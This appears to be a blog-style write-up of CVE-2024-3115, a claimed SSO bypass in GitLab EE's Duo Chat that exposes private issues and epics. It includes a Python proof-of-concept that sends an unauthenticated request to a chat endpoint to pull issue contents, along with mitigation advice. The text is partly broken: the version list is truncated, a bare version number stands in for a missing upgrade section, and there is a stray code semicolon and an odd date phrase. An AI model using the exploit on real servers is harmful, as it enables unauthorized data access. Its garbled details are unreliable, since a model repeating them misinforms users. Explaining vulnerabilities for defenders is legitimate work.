On April 2024, security researchers discovered a major vulnerability—CVE-2024-3115—in GitLab Enterprise Edition (EE). This flaw lets attackers bypass Single Sign-On (SSO) controls and access private issues and epics by leveraging the Duo Chat feature. Impacted are all GitLab EE versions:

From 17.1 up to (but not including) 17.1.1

Let’s break down this bug, how exploitation works, some sample code, and see what you can do to protect yourself—without the security jargon.

What’s the Problem?

Organizations with sensitive projects use SSO (like Okta or Duo) to make sure only authorized users access GitLab resources. With GitLab’s “Duo Chat” integration, you get chatbot-style ticket handling and reporting inside GitLab—great for collaboration, but as it turns out, an opportunity for trouble.

This vulnerability lets attackers “skip the login” by talking to GitLab via Duo Chat. Instead of hitting the SSO gateway, the chat endpoint wrongly honors certain tokens or does incomplete checking, granting issue and epics data—even to users who never authenticated!

The workflow typically goes like this

1. Attacker crafts a Duo Chat request to the endpoint exposed by GitLab, referencing an issue or epic by its ID.
2. No SSO check is done on the chat backend. If a valid (but unauthenticated) request hits the endpoint, GitLab returns issue or epic info.
3. Private project data leak—the attacker gets sensitive ticket info, discussions, and epics without ever being logged in to GitLab SSO.

Sample Exploit Scenario

Let’s say Alice’s company uses GitLab EE with SSO enforced for all group members. Bob (an attacker) wants to see private issues on a project. With a crafted API call, he can get the information via Duo Chat, even though he’s never logged in.

Disclaimer: Educational use only. Do not use against unauthorized systems.

import requests

# Variables you'll need
GITLAB_URL = "https://gitlab.example.com";
DUO_CHAT_ENDPOINT = "/-/duo_chat/chat"
ISSUE_ID = "<ID>"  # Private issue ID
HEADERS = {
    "Content-Type": "application/json"
    # No authentication needed due to the vulnerability!
}

payload = {
    "messages": [
        {
            "role": "user",
            "content": f"Tell me about issue {ISSUE_ID}."
        }
    ]
}

resp = requests.post(
    GITLAB_URL + DUO_CHAT_ENDPOINT,
    json=payload,
    headers=HEADERS,
    verify=False
)

print("Result:", resp.text)

If the server is vulnerable, this will dump the text of the issue—even if you’re not logged in via SSO.

Technical Analysis

Why does this happen? In certain vulnerable versions, the Duo Chat integration’s backend does not properly invoke SSO/session verification for “chat” requests. It assumes that any API user of the chat must have previously authenticated—or it fails open if it can’t verify.

Instead of returning a 401 Unauthorized error, it sends back the requested object if the format is correct and the object ID exists.

What is the Real Risk?

- Data leakage of sensitive project information (e.g., security tickets, financial discussions, incident reports)

Official References

- NIST National Vulnerability Database - CVE-2024-3115
- GitLab Security Release Advisory
- GitLab Issue Tracker Entry

17.1.1

(Get the latest versions from the GitLab downloads page.)

Monitor Logs:

Watch for unexpected requests hitting /duo_chat/chat.

Final Notes

CVE-2024-3115 shows how a small oversight—one insecure endpoint—can defeat extensive security investments like SSO. If your organization runs GitLab EE, upgrade now and double-check any chatbot or third-party integrations for similar permission weaknesses.

Always run the latest security release—don’t let attackers skip your SSO!

> If you found this post helpful, share with your security or DevOps team.
> For technical deep dives, follow the GitLab Security Blog.

---

Timeline

Published on: 06/27/2024 00:15:11 UTC
Last modified on: 06/28/2024 13:22:33 UTC